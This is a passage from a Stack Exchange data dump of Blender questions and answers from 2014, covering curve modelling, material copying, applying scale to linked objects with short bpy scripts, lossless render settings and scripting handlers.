out because it does not seem to be necessary in your case.&lt;/p&gt;&#xA;&lt;p&gt;To make a torus from a curve circle object without using a bevel object:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Fill&lt;/em&gt; in &lt;em&gt;Curve &amp;gt; Shape&lt;/em&gt; to &lt;em&gt;Full&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Depth&lt;/em&gt; in &lt;em&gt;Curve &amp;gt; Geometry &amp;gt; Bevel&lt;/em&gt; to the overall thickness of the curve.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Resolution&lt;/em&gt; in &lt;em&gt;Curve &amp;gt; Geometry &amp;gt; Bevel&lt;/em&gt; to the the number of minor subdivisions you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FyiBQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you then add the solidify modifier, you will have a hollow torus like in the first screenshot.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can adjust the thickness with the &lt;em&gt;Thickness&lt;/em&gt; setting the the &lt;em&gt;Solidify modifier&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can adjust the minor radius with the &lt;em&gt;Bevel depth&lt;/em&gt;, or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; in edit mode.&lt;/li&gt;&#xA;&lt;li&gt;You can adjust the major radius by scaling the curve (&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3pFv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-15T05:09:24.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7044" PostTypeId="1" CreationDate="2014-02-15T00:55:39.940" Score="43" ViewCount="103342" Body="&lt;p&gt;I saw a video where the person copied a material from one object to another (Cycles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2148" LastEditorUserId="1363" LastEditDate="2014-02-15T03:41:18.103" LastActivityDate="2018-06-28T21:34:26.097" Title="Copy material to another object?" Tags="&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="7045" PostTypeId="2" ParentId="7044" CreationDate="2014-02-15T01:21:32.617" Score="42" Body="&lt;p&gt;Select all target objects and also the source object (the source object needs to be active, so either select it last or select it again after you selected all target objects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;em&gt;Material&lt;/em&gt; tab, select a material slot and click the specials menu button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &lt;em&gt;Copy Material to Others&lt;/em&gt; to copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nnbny.png&quot; alt=&quot;Copy Material to Others&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-15T01:21:32.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7046" PostTypeId="2" ParentId="7044" CreationDate="2014-02-15T01:28:16.890" Score="34" Body="&lt;p&gt;You can also do this by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Materials&lt;/em&gt; with the target objects &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot;&gt;&lt;em&gt;selected&lt;/em&gt;&lt;/a&gt; and the object with the source materials &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot;&gt;&lt;em&gt;active&lt;/em&gt;&lt;/a&gt;. You can select multiple objects at once with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-15T01:28:16.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7047" PostTypeId="1" AcceptedAnswerId="19521" CreationDate="2014-02-15T01:49:53.877" Score="8" ViewCount="9885" Body="&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&lt;p&gt;Vader's solution set me on the right track, but I ended up using &lt;a href=&quot;https://blender.stackexchange.com/a/7059/599&quot;&gt;this&lt;/a&gt;, as it goes a bit faster with large numbers of objects.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Original question:&lt;/h2&gt;&#xA;&lt;p&gt;Is it possible to directly apply transforms on linked object data? Blender does not seem to let you do this. It results in an error: &lt;code&gt;Cannot apply to a multiuser: object, object2, etc. aborting&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;That makes sense, but I should be able to apply the scale to all of the objects, right?&lt;/p&gt;&#xA;&lt;p&gt;For instance, I have three cubes which are linked, but have different scales:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVw7y.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I realize that because the mesh data is linked, they all have to be the same size once the scale is applied.&lt;/p&gt;&#xA;&lt;p&gt;I tried selecting them all with the smallest cube active, then applying the scale.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oNZjC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The expected result is that they all become the size of the smallest cube with scales of &lt;code&gt;1,1,1&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZL4OI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, it just throws the same error instead:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kFguz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there some way to do this &lt;em&gt;without unlinking everything and then relinking&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;There seems to have been some confusion about if this was possible or not, so I'll quote my &lt;a href=&quot;https://blender.stackexchange.com/questions/7047/apply-transforms-to-linked-objects/7059#comment11202_7048&quot;&gt;comment below&lt;/a&gt; to help clarify what I wanted&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I only want the active object to remain the same size, I realize the other objects will have to become the same size as the active object. I don't see why that would be impossible..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-03-23T13:32:59.123" Title="Apply transforms to linked objects?" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;linked-data&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7048" PostTypeId="2" ParentId="7047" CreationDate="2014-02-15T02:47:30.447" Score="1" Body="&lt;p&gt;I tried something fancy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;me_done = []&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    me = ob.data&#xA;&#xA;    if me not in me_done:&#xA;        me_done.append(me)&#xA;        mat = Matrix()&#xA;        mat[0][0], mat[1][1], mat[2][2] = ob.matrix_world.to_scale()&#xA;        print(mat)&#xA;        me.transform(mat)&#xA;&#xA;    ob.matrix_world = ob.matrix_world.normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I was totally off track, what you seem to want is basically to set the scale of all objects to 1,1,1, which is as easy as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in bpy.context.selected_editable_objects:&#xA;    ob.matrix_world = ob.matrix_world.normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Variant 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob_active = bpy.context.object&#xA;mat = Matrix()&#xA;mat[0][0], mat[1][1], mat[2][2] = ob_active.matrix_world.to_scale()&#xA;ob_active.data.transform(mat)&#xA;ob_active.matrix_world = ob_active.matrix_world.normalized() * mat.inverted()&#xA;&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    if ob == ob_active:&#xA;        continue&#xA;&#xA;    ob.matrix_world = ob.matrix_world.normalized() * mat.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Variant 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob_active = bpy.context.object&#xA;mat = Matrix()&#xA;mat[0][0], mat[1][1], mat[2][2] = ob_active.matrix_world.to_scale()&#xA;ob_active.data.transform(mat)&#xA;ob_active.matrix_world = ob_active.matrix_world.normalized()&#xA;&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    if ob == ob_active:&#xA;        continue&#xA;&#xA;    ob.matrix_world = ob.matrix_world.normalized() * mat.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Variant 3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob_active = bpy.context.object&#xA;mat = Matrix()&#xA;mat[0][0], mat[1][1], mat[2][2] = ob_active.matrix_world.to_scale()&#xA;ob_active.data.transform(mat)&#xA;ob_active.matrix_world = ob_active.matrix_world.normalized()&#xA;&#xA;for ob in bpy.context.selected_editable_objects:&#xA;    if ob == ob_active:&#xA;        continue&#xA;&#xA;    ob.matrix_world = ob.matrix_world.normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-15T03:39:24.093" LastActivityDate="2014-02-15T03:39:24.093" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7049" PostTypeId="1" CreationDate="2014-02-15T03:45:52.657" Score="2" ViewCount="1933" Body="&lt;p&gt;I am looking for blender tutorials, but most of the ones I've seen are videos. it's very hard to use a video because even the good ones are hard to follow, as some actions the speaker mumbles through, or does some fancy key combination that doesn't show up on screen nor is explained. is there any site that has text-and-picture tutorials?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2014-02-16T15:15:42.027" Title="non-video blender resources?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="0" ClosedDate="2014-03-04T20:44:36.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="7051" PostTypeId="1" AcceptedAnswerId="7052" CreationDate="2014-02-15T10:17:55.753" Score="12" ViewCount="16747" Body="&lt;p&gt;What are the best settings to render if I want lossless compression of the video and audio?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm rendering a small clip that will be added to the Video Editor of multiple Blender files)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2020-05-24T03:54:31.583" Title="Lossless compression for video with audio" Tags="&lt;file-format&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7052" PostTypeId="2" ParentId="7051" CreationDate="2014-02-15T12:31:35.153" Score="13" Body="&lt;p&gt;I couldn't get DNxHD to work (which isn't lossless, but very close to it), so I suggest the following options, which work for me:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Output Format &lt;strong&gt;H.264&lt;/strong&gt; (RGB)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encoding Preset &lt;strong&gt;H264&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lossless Output&lt;/strong&gt; (none of the values in the panel matter)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Audio Codec &lt;strong&gt;FLAC&lt;/strong&gt; (bitrate doesn't matter again)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hdv0R.png&quot; alt=&quot;Lossless Audio and Video Render Settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This will give you great quality at a relatively small filesize.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-15T12:31:35.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7053" PostTypeId="2" ParentId="7051" CreationDate="2014-02-15T12:34:16.830" Score="5" Body="&lt;p&gt;There is a preset for &quot;AVI Raw&quot; which is lossless, when a video format is selected you have some options within the Encoding panel. When H.264 is selected for Format you get a Lossless output option, when avi, quicktime, ogg or matroska are selected for Format you have several Codec options - of which PNG should be lossless. For audio, FLAC and PCM would appear to be the lossless options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally to keep video in a lossless quality an image sequence is used, PNG, TIFF and OpenEXR are common formats used. If the audio length matches the entire video then it is easy to align both to the same start frame when adding to a new blend file. Once added they can be merged a a meta strip to keep them together.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="55" LastEditDate="2014-04-29T20:00:55.913" LastActivityDate="2014-04-29T20:00:55.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7055" PostTypeId="1" AcceptedAnswerId="7056" CreationDate="2014-02-15T14:03:35.430" Score="9" ViewCount="1905" Body="&lt;p&gt;Is it possible to create your own editor type with python? I know that I can edit the sources of existing ones like the INFO header. But I want to create a complete new one where I can place my operators.&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-02-15T14:28:50.240" Title="Creating own editor type" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7056" PostTypeId="2" ParentId="7055" CreationDate="2014-02-15T14:28:50.240" Score="12" Body="&lt;p&gt;See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/info_quickstart.html&quot;&gt;API docs - Preface&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Blender/Python API can’t (yet)...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Create new space types.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can only be done in the C code:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Tutorials/AddAnEditor&quot;&gt;http://wiki.blender.org/index.php/Dev:2.6/Source/Tutorials/AddAnEditor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you may use &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Region_Draw_Callbacks_.28r53207.29&quot;&gt;draw handlers&lt;/a&gt; to overlay an existing editor with python-drawn content. Check out &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bgl.html&quot;&gt;OpenGL Wrapper (bgl)&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/blf.html&quot;&gt;Font Drawing (blf)&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or build blender with the Py-Buttons patch by Campbell Barton to create python-drawn widgets:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=mRiTfLpRlRU&quot;&gt;http://www.youtube.com/watch?v=mRiTfLpRlRU&lt;/a&gt;&lt;br&gt;&#xA;(seems to crash if applied to current trunk, use an older revision or wait for a fix)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-15T14:28:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7057" PostTypeId="2" ParentId="7042" CreationDate="2014-02-15T14:37:26.813" Score="2" Body="&lt;p&gt;From the advice of CoDEmanX and reading documentation, I figured out what to do last night.  I changed it all to use a pair of handler functions.  Here is the altered script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Maelstrom Height Handler&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;,&#xA;}&#xA;&#xA;'''&#xA;Called when the scene is updated, and calls height_general_update if&#xA;any objects in the scene have been updated.&#xA;'''&#xA;@persistent&#xA;def height_scene_update(scene):&#xA;    if(bpy.data.objects.is_updated):&#xA;        height_general_update(scene)&#xA;&#xA;'''&#xA;Iterates through each scene object to see if the &quot;height&quot; property&#xA;is present, then adds and/or adjusts the &quot;useHeight&quot; property.  Does&#xA;nothing if the height is unchanged, to prevent other potential code&#xA;from running.  Runs when a scene is loaded or when called by the&#xA;above function.&#xA;'''&#xA;@persistent&#xA;def height_general_update(scene):&#xA;    didChange = False&#xA;    for obj in bpy.data.objects:&#xA;        rigChanged = False&#xA;        if(&quot;height&quot; in obj.keys()):&#xA;            val = int(obj.proxy != None)&#xA;            if(&quot;useHeight&quot; not in obj.keys()):&#xA;                obj[&quot;useHeight&quot;] = val&#xA;                rigChanged = True&#xA;            else:&#xA;                if(obj[&quot;useHeight&quot;] != val):&#xA;                    obj[&quot;useHeight&quot;] = val&#xA;                    rigChanged = True&#xA;        if(rigChanged):&#xA;            print(&quot;Adjusting useHeight flag of&quot;, obj.name)&#xA;            didChange = True&#xA;&#xA;def register():&#xA;    bpy.app.handlers.scene_update_pre.append(height_scene_update)&#xA;    bpy.app.handlers.load_post.append(height_general_update)&#xA;&#xA;def unregister():&#xA;    for idx, val in enumerate(bpy.app.handlers.scene_update_pre):&#xA;        if(val == height_scene_update):&#xA;            del bpy.app.handlers.scene_update_pre[idx]&#xA;    for idx, val in enumerate(bpy.app.handlers.load_post):&#xA;        if(val == height_general_update):&#xA;            del bpy.app.handlers.load_post[idx]&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-02-15T14:37:26.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7058" PostTypeId="2" ParentId="7047" CreationDate="2014-02-15T18:47:14.387" Score="1" Body="&lt;p&gt;This is my python implementation of this problem.&#xA;Here is how it works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the input of the script is the current selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for each item in selection un-link it and apply the scale&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;after doing that with all object still selected, link them again&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# unlink, apply scale&#xA;for obj in bpy.context.selected_editable_objects:&#xA;    bpy.ops.object.make_single_user(type='SELECTED_OBJECTS', object=True, obdata=True, material=True, texture=True, animation=True)&#xA;    bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&#xA;&#xA;# link all together&#xA;bpy.ops.object.make_links_data(type='OBDATA')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-16T02:02:51.350" LastActivityDate="2014-02-16T02:02:51.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7059" PostTypeId="2" ParentId="7047" CreationDate="2014-02-15T18:59:00.257" Score="4" Body="&lt;p&gt;Vader's solution works, but I think this modified version is slightly more efficient because it only unlinks the active object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;selected=[]&#xA;# de-select all selected objects and add to array:&#xA;for obj in bpy.context.selected_editable_objects:&#xA;    selected.append(obj)&#xA;    obj.select = False&#xA;# reselect active object&#xA;bpy.context.object.select = True&#xA;# Make single user and apply scale&#xA;bpy.ops.object.make_single_user(type='SELECTED_OBJECTS', object=True, obdata=True, material=True, texture=True, animation=True)&#xA;bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&#xA;&#xA;# select objects again&#xA;for obj in selected:&#xA;    obj.select = True&#xA;    # reset scale&#xA;    obj.scale = 1,1,1&#xA;# link selected to active&#xA;bpy.ops.object.make_links_data(type='OBDATA')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1476" LastEditDate="2014-02-16T02:45:17.180" LastActivityDate="2014-02-16T02:45:17.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7061" PostTypeId="1" AcceptedAnswerId="7063" CreationDate="2014-02-15T22:09:19.580" Score="8" ViewCount="28818" Body="&lt;p&gt;Is there a way to mirror actions that were keyed for one side to be mirrored to the other side? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1s8Gr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add another x-flipped action as the button (green 1) does for the current pose. &#xA;This button is only available in the pose editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to copy and paste key-frame by frame (from green 2 to red 3) but it seems that we can't have two different views of the action editor. (When the selected action is changed in one action editor the other one copies the change and displays the same action)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an action be x-flipped mirrored into another action?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-11-23T04:34:23.420" Title="Can an action be mirrored?" Tags="&lt;animation&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7062" PostTypeId="2" ParentId="7061" CreationDate="2014-02-15T22:50:27.080" Score="5" Body="&lt;p&gt;&lt;em&gt;Key &gt; Mirror &gt; By Times over current frame&lt;/em&gt; does an X-flip based on the timeline cursor. If you place the cursor at the center of the keyframed range, it will flip in-place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also use &lt;em&gt;Key &gt; Transform &gt; Scale&lt;/em&gt; and type &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-15T22:50:27.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7063" PostTypeId="2" ParentId="7061" CreationDate="2014-02-16T06:39:16.967" Score="3" Body="&lt;p&gt;You can use the Copy/Paste operators in Action Editor, which supports multiple keyframes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ld0To.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select keyframes, then press the &quot;copy to buffer&quot; Button on the header, or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Switch to another action, keep the current frame marker unchanged, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Right click on the first frame you want to flip, turn on auto-keyframe on Timeline header, hover the mouse cursor in 3D View, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;,&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, to &quot;overwrite&quot; the existing action on that frame, for the following keyframes, you just repeat by &lt;kbd&gt;Up Arrow&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;,&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; to flip action on each keyframe one by one continuously. (For large number of keyframes, you may consider to make a small macro for the repeated operation to speed it up a lot).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-16T06:39:16.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7064" PostTypeId="1" AcceptedAnswerId="7065" CreationDate="2014-02-16T11:34:42.540" Score="11" ViewCount="5494" Body="&lt;p&gt;Is it possible to switch to vertex mode (and edge, face mode) via python. I know I can toggle between object mode and edit mode in python with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.editmode_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I explicitly say I want to go in vertex mode?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="12" LastEditDate="2014-02-16T15:37:03.470" LastActivityDate="2014-02-16T16:35:04.860" Title="Switch to vertex, edge, face mode in edit mode via python" Tags="&lt;python&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7065" PostTypeId="2" ParentId="7064" CreationDate="2014-02-16T11:40:11.403" Score="14" Body="&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_mode(type=&quot;VERT&quot;)&#xA;bpy.ops.mesh.select_mode(type=&quot;EDGE&quot;)&#xA;bpy.ops.mesh.select_mode(type=&quot;FACE&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.mesh.html?highlight=bpy.ops.mesh.select#bpy.ops.mesh.select_mode&quot;&gt;Look up the operator in the api documentation.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-02-16T11:40:11.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7066" PostTypeId="1" AcceptedAnswerId="7070" CreationDate="2014-02-16T14:08:19.987" Score="4" ViewCount="2240" Body="&lt;p&gt;Sometime when writing a python script I will run into an error such as syntax or some Exceptions. The script will partially execute, but not everything. This is frustrating because I have to manually undo what the script executed before I can run the script again. Is there a way that I can have the script undo what it has done if it fails. I want the script to only make permanent changes if it ran without error.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-28T20:34:58.973" Title="Python - Undo script if script fails" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7067" PostTypeId="2" ParentId="7066" CreationDate="2014-02-16T14:44:37.713" Score="3" Body="&lt;p&gt;Wrap your script in an operator. You will only need one undo step then. Just replace the main function of this (shortened) template from &lt;em&gt;Text Editor&lt;/em&gt; -&gt; &lt;em&gt;Python&lt;/em&gt; -&gt; &lt;em&gt;Operator Simple&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(context):&#xA;    #your script here&#xA;    pass&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;bpy.utils.register_class(SimpleOperator)&#xA;try:&#xA;    bpy.ops.object.simple_operator()&#xA;except Exception as e:&#xA;    print(&quot;something went wrong&quot;)&#xA;    #raise the exception again&#xA;    raise e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(See CoDeman's post). Using blender's undo system with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.ed.html?highlight=undo#bpy.ops.ed.undo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.ed.undo&lt;/code&gt;&lt;/a&gt; is rather unreliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check if requirements are met before performing your actions&lt;/li&gt;&#xA;&lt;li&gt;save some data with python and restore it if an error occured&lt;/li&gt;&#xA;&lt;li&gt;write a backup to disk and load it if an error occurred&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" 